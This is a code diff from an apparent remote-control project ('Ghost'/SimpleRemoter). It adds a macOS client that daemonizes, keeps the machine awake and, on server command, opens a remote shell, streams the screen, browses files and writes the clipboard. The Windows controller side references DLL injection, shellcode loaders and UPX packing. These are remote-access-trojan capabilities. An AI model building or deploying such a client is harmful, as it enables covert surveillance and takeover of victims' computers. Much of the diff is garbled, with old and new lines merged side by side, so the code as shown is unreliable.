if (pid < 0) exit(1);
if (pid > 0) exit(0);
// 关闭标准文件描述符,重定向到 /dev/null
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
open("/dev/null", O_RDONLY); // fd 0 = stdin
open("/dev/null", O_WRONLY); // fd 1 = stdout
open("/dev/null", O_WRONLY); // fd 2 = stderr
}
// ============== Main Entry Point ============== // ============== Main Entry Point ==============
// RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致) void* ShellworkingThread(void* /*param*/)
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms)
{ {
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒 RunSubConnThread<PTYHandler>(
if (rtt_ms <= 0 || rtt_ms > 30000) "ShellworkingThread",
return; [](IOCPClient* c) { return std::unique_ptr<PTYHandler>(new PTYHandler(c)); },
[](IOCPClient* c, PTYHandler*) {
const double alpha = 1.0 / 8; BYTE bToken = TOKEN_TERMINAL_START;
const double beta = 1.0 / 4; c->Send2Server((char*)&bToken, 1);
double rtt = rtt_ms / 1000.0; Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c);
});
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
RttEstimator g_rttEstimator;
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
void* ScreenworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
if (!handler->init()) {
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
return NULL; return NULL;
} }
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
void* ScreenworkingThread(void* /*param*/)
{
RunSubConnThread<ScreenHandler>(
"ScreenworkingThread",
[](IOCPClient* c) -> std::unique_ptr<ScreenHandler> {
// macOS ScreenHandler 需要先 init() 申请录屏权限/抓屏 stream失败 → 返 nullptr
// 让骨架直接 leave跳过 callback 安装
auto h = std::unique_ptr<ScreenHandler>(new ScreenHandler(c));
if (!h->init()) {
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
return nullptr;
}
return h;
},
[](IOCPClient* c, ScreenHandler* h) {
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致) // 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
handler->sendBitmapInfo(); h->sendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr); Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) });
Sleep(1000); return NULL;
}
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
} }
void* FileManagerworkingThread(void* /*param*/)
{
RunSubConnThread<FileManager>(
"FileManagerworkingThread",
[](IOCPClient* c) { return std::unique_ptr<FileManager>(new FileManager(c)); },
[](IOCPClient* c, FileManager*) {
Mprintf(">>> FileManagerworkingThread [%p] initialized\n", c);
});
return NULL; return NULL;
} }
@@ -426,11 +695,18 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (szBuffer == nullptr || ulLength == 0) if (szBuffer == nullptr || ulLength == 0)
return TRUE; return TRUE;
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING校验本身。详见
// common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。
if (!ClientAuth::IsCommandAllowed(szBuffer[0])) {
return TRUE;
}
if (szBuffer[0] == COMMAND_BYE) { if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user); Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT; g_bExit = S_CLIENT_EXIT;
g_running = false; // Stop main loop to prevent reconnection g_running = false; // Stop main loop to prevent reconnection
} else if (szBuffer[0] == COMMAND_SHELL) { } else if (szBuffer[0] == COMMAND_SHELL) {
std::thread(ShellworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SHELL' command ***\n", user); Mprintf("** [%p] Received 'SHELL' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) { } else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach(); std::thread(ScreenworkingThread, nullptr).detach();
@@ -438,7 +714,34 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
} else if (szBuffer[0] == COMMAND_SYSTEM) { } else if (szBuffer[0] == COMMAND_SYSTEM) {
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user); Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) { } else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
std::thread(FileManagerworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user); Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
} else if (szBuffer[0] == COMMAND_C2C_PREPARE) {
// C2C 准备接收通知
FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr);
Mprintf("** [%p] C2C Prepare received ***\n", user);
} else if (szBuffer[0] == COMMAND_C2C_TEXT) {
// C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
if (ulLength >= 13) {
uint32_t textLen;
memcpy(&textLen, szBuffer + 9, 4);
if (ulLength >= 13 + textLen && textLen > 0) {
if (!ClipboardHandler::IsAvailable()) {
Mprintf("** [%p] C2C Text: clipboard unavailable ***\n", user);
} else {
std::string utf8Text((const char*)szBuffer + 13, textLen);
if (ClipboardHandler::SetText(utf8Text)) {
Mprintf("** [%p] C2C Text received: %u bytes ***\n", user, textLen);
}
}
}
}
} else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) {
// V2 文件接收
int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID);
if (result != 0) {
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
}
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) { } else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
if (ulLength >= 1 + sizeof(HeartbeatACK)) { if (ulLength >= 1 + sizeof(HeartbeatACK)) {
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1); HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
@@ -454,43 +757,108 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
} }
} }
} else if (szBuffer[0] == CMD_MASTERSETTING) { } else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1; MasterSettings settings;
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
MasterSettings settings = {}; return TRUE; // 包不全或签名失败:让 30s 超时兜底重连
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings)); }
if (settings.ReportInterval > 0) if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval; g_heartbeatInterval = settings.ReportInterval;
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
}
} else if (szBuffer[0] == COMMAND_NEXT) { } else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user); Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else if (szBuffer[0] == CMD_SET_GROUP) {
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
// Remove trailing nulls
size_t pos = groupName.find('\0');
if (pos != std::string::npos) {
groupName = groupName.substr(0, pos);
}
}
// Save to config file
saveGroupName(groupName);
// Update global settings
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
// 标记需要重发登录信息(让服务端更新分组显示)
g_needResendLogin.store(true);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else { } else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
} }
return TRUE; return TRUE;
} }
// 用法: ./ghost [-d]
// -d 后台守护进程模式
int main(int argc, const char* argv[]) int main(int argc, const char* argv[])
{ {
(void)argc; // 解析 -d 参数
(void)argv; bool daemon_mode = (argc > 1 && strcmp(argv[1], "-d") == 0);
// 守护进程模式:在进入 autoreleasepool 之前 fork
if (daemon_mode) {
daemonize();
}
@autoreleasepool { @autoreleasepool {
NSLog(@"=== macOS Ghost Client ==="); NSLog(@"=== macOS Ghost Client%s ===", daemon_mode ? " (daemon)" : "");
// ============== Power Management: Keep System Awake ==============
// 1. Disable App Nap - prevent macOS from suspending this process
id<NSObject> powerActivity = [[NSProcessInfo processInfo]
beginActivityWithOptions:(NSActivityUserInitiated | NSActivityIdleSystemSleepDisabled)
reason:@"Remote control client must maintain persistent connection"];
NSLog(@"App Nap disabled, activity token acquired");
// 2. Prevent system idle sleep using IOKit power assertion
IOPMAssertionID sleepAssertionID = 0;
IOReturn result = IOPMAssertionCreateWithName(
kIOPMAssertionTypeNoIdleSleep,
kIOPMAssertionLevelOn,
CFSTR("SimpleRemoter macOS client - maintaining remote connection"),
&sleepAssertionID
);
if (result == kIOReturnSuccess) {
NSLog(@"Power assertion created: system idle sleep disabled (ID: %u)", sleepAssertionID);
} else {
NSLog(@"Warning: Failed to create power assertion (error: 0x%x)", result);
}
// 3. Display sleep: managed by ScreenHandler - only prevents display sleep
// when remote desktop is actively connected (saves power when idle)
// Setup signal handlers // Setup signal handlers
setupSignals(); setupSignals();
// Load configuration file (~/.config/ghost/config.conf)
loadConfig();
NSLog(@"Config loaded from %s", g_configPath.c_str());
// Check permissions // Check permissions
NSLog(@"Checking permissions..."); NSLog(@"Checking permissions...");
if (!Permissions::checkScreenCapture()) { bool hasScreenCapture = Permissions::checkScreenCapture();
if (hasScreenCapture) {
NSLog(@"Screen capture permission: OK");
} else {
NSLog(@"Screen capture permission not granted."); NSLog(@"Screen capture permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording"); NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
// Request permission (triggers system dialog on first run)
Permissions::requestScreenCapture();
// Only open settings if this appears to be a re-run without permission
// Check again after request (dialog may have been shown)
if (!Permissions::checkScreenCapture()) {
Permissions::openScreenCaptureSettings(); Permissions::openScreenCaptureSettings();
} }
}
if (!Permissions::checkAccessibility()) { bool hasAccessibility = Permissions::checkAccessibility();
if (hasAccessibility) {
NSLog(@"Accessibility permission: OK");
} else {
NSLog(@"Accessibility permission not granted."); NSLog(@"Accessibility permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility"); NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
Permissions::requestAccessibility(); Permissions::requestAccessibility();
@@ -501,6 +869,8 @@ int main(int argc, const char* argv[])
NSLog(@"Full Disk Access: not detected (may be false negative)."); NSLog(@"Full Disk Access: not detected (may be false negative).");
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access"); NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
// Don't auto-open settings since detection is unreliable // Don't auto-open settings since detection is unreliable
} else {
NSLog(@"Full Disk Access: OK");
} }
// Create client // Create client
@@ -519,10 +889,19 @@ int main(int argc, const char* argv[])
continue; continue;
} }
// 进入新连接,重置服务端身份校验状态
ClientAuth::OnNewConnection();
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) { while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
// 检查是否需要重发登录信息(分组变更后)
if (g_needResendLogin.exchange(false)) {
fillLoginInfo(logInfo);
ClientObject->SendLoginInfo(logInfo);
Mprintf(">> Resent login info after group change\n");
}
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应) // 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30; int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) { for (int i = 0; i < interval; ++i) {
@@ -533,6 +912,13 @@ int main(int argc, const char* argv[])
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break; break;
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
if (ClientAuth::IsTimedOut()) {
ClientObject->Disconnect();
break;
}
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致) // 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
std::string activity = getActiveApp(); std::string activity = getActiveApp();
@@ -549,6 +935,15 @@ int main(int argc, const char* argv[])
} }
NSLog(@"Shutting down..."); NSLog(@"Shutting down...");
// Release power assertions
if (sleepAssertionID) {
IOPMAssertionRelease(sleepAssertionID);
NSLog(@"Released sleep assertion");
}
// Display assertion is managed by ScreenHandler (released in stop())
// powerActivity is automatically released when exiting @autoreleasepool
(void)powerActivity; // Suppress unused variable warning
} }
return 0; return 0;

32
macos/uninstall.sh Normal file
View File

@@ -0,0 +1,32 @@
#!/bin/bash
# macOS Ghost Client 卸载脚本
APP_DIR="/Applications/GhostClient.app"
echo "=== GhostClient 卸载程序 ==="
echo ""
# 1. 停止进程
echo "[1/4] 停止进程..."
pkill -9 -f "$APP_DIR" 2>/dev/null || true
# 2. 删除文件
echo "[2/4] 删除文件..."
sudo rm -rf "$APP_DIR"
rm -rf ~/.config/ghost 2>/dev/null || true
rm -f /tmp/ghost.log 2>/dev/null || true
# 3. 移除登录项
echo "[3/4] 移除登录项..."
osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
# 4. 重置系统权限
echo "[4/4] 重置系统权限..."
tccutil reset ScreenCapture 2>/dev/null || true
tccutil reset Accessibility 2>/dev/null || true
echo ""
echo "========================================"
echo " 卸载完成"
echo "========================================"
echo ""

View File

@@ -526,14 +526,13 @@ BOOL CMy2015RemoteApp::InitInstance()
SetChineseThreadLocale(); SetChineseThreadLocale();
// 加载语言包(必须在显示任何文本之前) // 加载语言包(必须在显示任何文本之前)
// 内嵌资源支持 en_US 和 zh_TW无需外部文件
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US"); auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang"); auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
langDir = langDir.empty() ? "./lang" : langDir; langDir = langDir.empty() ? "./lang" : langDir;
if (PathFileExists(langDir.c_str())) { g_Lang.Init(langDir.c_str()); // 初始化目录(用于磁盘补丁文件)
g_Lang.Init(langDir.c_str()); g_Lang.Load(lang.c_str()); // 加载语言(优先内嵌资源,再覆盖磁盘文件)
g_Lang.Load(lang.c_str()); Mprintf("语言: %s, 目录: %s\n", lang.c_str(), langDir.c_str());
Mprintf("语言包目录已经指定[%s], 语言数量: %d\n", langDir.c_str(), g_Lang.GetLanguageCount());
}
// 创建并显示启动画面 // 创建并显示启动画面
CSplashDlg* pSplash = new CSplashDlg(); CSplashDlg* pSplash = new CSplashDlg();

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@@ -96,6 +96,14 @@ extern CMy2015RemoteDlg* g_2015RemoteDlg;
// 注意m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量 // 注意m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
bool SupportsFileTransferV2(context* ctx); bool SupportsFileTransferV2(context* ctx);
// 获取客户端协议字符串编码 (CP_UTF8 或 936)。
// 适用于任意 context
// - 主连接:直接读自身的 CAPABILITIES
// - 子连接KeyBoardDlg / SystemDlg / FileManagerDlg 等CAPABILITIES 为空,
// 通过 peer IP 查 m_HostList 中的主连接获取能力位
// 找不到主连接或老客户端:默认 CP936覆盖 95% 简中/英语 ASCII 老客户端)。
UINT GetClientEncoding(context* ctx);
// 服务端待续传的传输信息 // 服务端待续传的传输信息
struct PendingTransferV2 { struct PendingTransferV2 {
uint64_t clientID; uint64_t clientID;
@@ -215,13 +223,17 @@ public:
MasterSettings m_settings; MasterSettings m_settings;
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
BOOL AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr); int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
BOOL AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr); int AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
VOID MessageHandle(CONTEXT_OBJECT* ContextObject); VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL); VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL);
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength); VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
// 显示用户上线信息 // 显示用户上线信息
CWnd* m_pFloatingTip = nullptr; CWnd* m_pFloatingTip = nullptr;
// 屏幕预览m_pFloatingTip 实际是 CPreviewTipWnd 时这里有同一指针的有类型副本,
// 用于在收到 JPEG 后调用 SetImageFromJpegDeletePopupWindow 释放时一并置空。
class CPreviewTipWnd* m_pPreviewTip = nullptr;
WORD m_PreviewReqId = 0; // 当前期待的预览响应序号0 = 无待响应
// 记录 clientID心跳更新 // 记录 clientID心跳更新
std::set<uint64_t> m_DirtyClients; std::set<uint64_t> m_DirtyClients;
// 待处理的上线/下线事件(批量更新减少闪烁) // 待处理的上线/下线事件(批量更新减少闪烁)
@@ -237,6 +249,12 @@ public:
std::string m_v2KeyPath; // V2 密钥文件路径 std::string m_v2KeyPath; // V2 密钥文件路径
void RebuildFilteredIndices(); // 重建过滤索引 void RebuildFilteredIndices(); // 重建过滤索引
context* GetContextByListIndex(int iItem); // 根据列表索引获取 context考虑分组过滤 context* GetContextByListIndex(int iItem); // 根据列表索引获取 context考虑分组过滤
// 启发式 ID 迁移:新客户端首次上线时,按 (ComputerName, ProgramPath) 在 m_ClientMap
// 里找老条目,若唯一匹配则把元数据(备注/位置/级别/授权)拷贝到 newId。
// 多于一个候选时保守跳过,写日志让运维手动处理,避免误聚合。
// 返回 true 表示有迁移发生(调用方需触发 dat 文件落盘)。
bool TryMigrateClientMetadata(uint64_t newId, const CString& pcName, const CString& exePath);
void LoadListData(const std::string& group); void LoadListData(const std::string& group);
void DeletePopupWindow(BOOL bForce = FALSE); void DeletePopupWindow(BOOL bForce = FALSE);
void CheckHeartbeat(); void CheckHeartbeat();
@@ -255,6 +273,7 @@ public:
CGridDialog * m_gridDlg = NULL; CGridDialog * m_gridDlg = NULL;
std::vector<DllInfo*> m_DllList; std::vector<DllInfo*> m_DllList;
context* FindHostByIP(const std::string& ip); context* FindHostByIP(const std::string& ip);
uint64_t FindClientIDByIP(const std::string& ip); // 线程安全在锁内获取ID
void InjectTinyRunDll(const std::string& ip, int pid); void InjectTinyRunDll(const std::string& ip, int pid);
NOTIFYICONDATA m_Nid; NOTIFYICONDATA m_Nid;
HANDLE m_hExit; HANDLE m_hExit;
@@ -275,6 +294,7 @@ public:
CDialogBase* GetRemoteWindow(CDialogBase* dlg); CDialogBase* GetRemoteWindow(CDialogBase* dlg);
void RemoveRemoteWindow(HWND wnd); void RemoveRemoteWindow(HWND wnd);
void CloseRemoteDesktopByClientID(uint64_t clientID); void CloseRemoteDesktopByClientID(uint64_t clientID);
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无 CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
void UpdateActiveRemoteSession(CDialogBase* sess); void UpdateActiveRemoteSession(CDialogBase* sess);
CDialogBase* GetActiveRemoteSession(); CDialogBase* GetActiveRemoteSession();
@@ -342,7 +362,13 @@ public:
afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnExitSizeMove(); afx_msg void OnExitSizeMove();
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调 afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调A 版,备用)
afx_msg void OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调W 版,启用 LVM_SETUNICODEFORMAT 后实际触发的)
// "活动窗口"列的宽字符旁路表clientID -> Unicode 标题。
// 协议字段 hb.ActiveWnd 已约定为 UTF-8老客户端 GBK 回退),由服务端解码后存入。
// 由 m_cs 保护。
std::map<uint64_t, std::wstring> m_ActiveWndW;
afx_msg void OnOnlineMessage(); afx_msg void OnOnlineMessage();
afx_msg void OnOnlineDelete(); afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate(); afx_msg void OnOnlineUpdate();
@@ -412,6 +438,12 @@ public:
afx_msg void OnWhatIsThis(); afx_msg void OnWhatIsThis();
afx_msg void OnOnlineAuthorize(); afx_msg void OnOnlineAuthorize();
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
// 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数4K/超宽屏在 LAN 档自适应放大
void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
// 发起预览请求reqId 应与 m_PreviewReqId 同步
void SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality);
// 收到 TOKEN_SCREEN_PREVIEW_RSP在主线程处理
afx_msg LRESULT OnPreviewResponse(WPARAM wParam, LPARAM lParam);
afx_msg void OnOnlineUnauthorize(); afx_msg void OnOnlineUnauthorize();
afx_msg void OnToolRequestAuth(); afx_msg void OnToolRequestAuth();
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);

View File

@@ -104,6 +104,7 @@
<OpenMPSupport>false</OpenMPSupport> <OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard> <LanguageStandard>stdcpp17</LanguageStandard>
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -138,6 +139,7 @@
<OpenMPSupport>false</OpenMPSupport> <OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard> <LanguageStandard>stdcpp17</LanguageStandard>
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -172,6 +174,7 @@
<OpenMPSupport>false</OpenMPSupport> <OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard> <LanguageStandard>stdcpp17</LanguageStandard>
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -208,6 +211,7 @@
<OpenMPSupport>false</OpenMPSupport> <OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings> <DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<LanguageStandard>stdcpp17</LanguageStandard> <LanguageStandard>stdcpp17</LanguageStandard>
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -231,6 +235,7 @@
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<None Include="..\..\linux\ghost" /> <None Include="..\..\linux\ghost" />
<None Include="..\..\macos\ghost" />
<None Include="..\..\Release\ghost.exe" /> <None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\SCLoader.exe" /> <None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\Release\ServerDll.dll" /> <None Include="..\..\Release\ServerDll.dll" />
@@ -241,6 +246,8 @@
<None Include="..\..\x64\Release\ServerDll.dll" /> <None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" /> <None Include="..\..\x64\Release\TestRun.exe" />
<None Include="..\..\x64\Release\TinyRun.dll" /> <None Include="..\..\x64\Release\TinyRun.dll" />
<None Include="lang\en_US.ini" />
<None Include="lang\zh_TW.ini" />
<None Include="res\1.cur" /> <None Include="res\1.cur" />
<None Include="res\2.cur" /> <None Include="res\2.cur" />
<None Include="res\2015Remote.ico" /> <None Include="res\2015Remote.ico" />
@@ -250,6 +257,7 @@
<None Include="res\3rd\rcedit.exe" /> <None Include="res\3rd\rcedit.exe" />
<None Include="res\3rd\SCLoader_32.exe" /> <None Include="res\3rd\SCLoader_32.exe" />
<None Include="res\3rd\SCLoader_64.exe" /> <None Include="res\3rd\SCLoader_64.exe" />
<None Include="res\3rd\TerminalModule_x64.dll" />
<None Include="res\3rd\upx.exe" /> <None Include="res\3rd\upx.exe" />
<None Include="res\4.cur" /> <None Include="res\4.cur" />
<None Include="res\arrow.cur" /> <None Include="res\arrow.cur" />
@@ -338,6 +346,7 @@
<ClInclude Include="FeatureLimitsDlg.h" /> <ClInclude Include="FeatureLimitsDlg.h" />
<ClInclude Include="FrpsForSubDlg.h" /> <ClInclude Include="FrpsForSubDlg.h" />
<ClInclude Include="PluginSettingsDlg.h" /> <ClInclude Include="PluginSettingsDlg.h" />
<ClInclude Include="PreviewTipWnd.h" />
<ClInclude Include="TriggerSettingsDlg.h" /> <ClInclude Include="TriggerSettingsDlg.h" />
<ClInclude Include="proxy\HPSocket.h" /> <ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" /> <ClInclude Include="proxy\HPTypeDef.h" />
@@ -388,6 +397,7 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile> </ClCompile>
<ClCompile Include="PluginSettingsDlg.cpp" /> <ClCompile Include="PluginSettingsDlg.cpp" />
<ClCompile Include="PreviewTipWnd.cpp" />
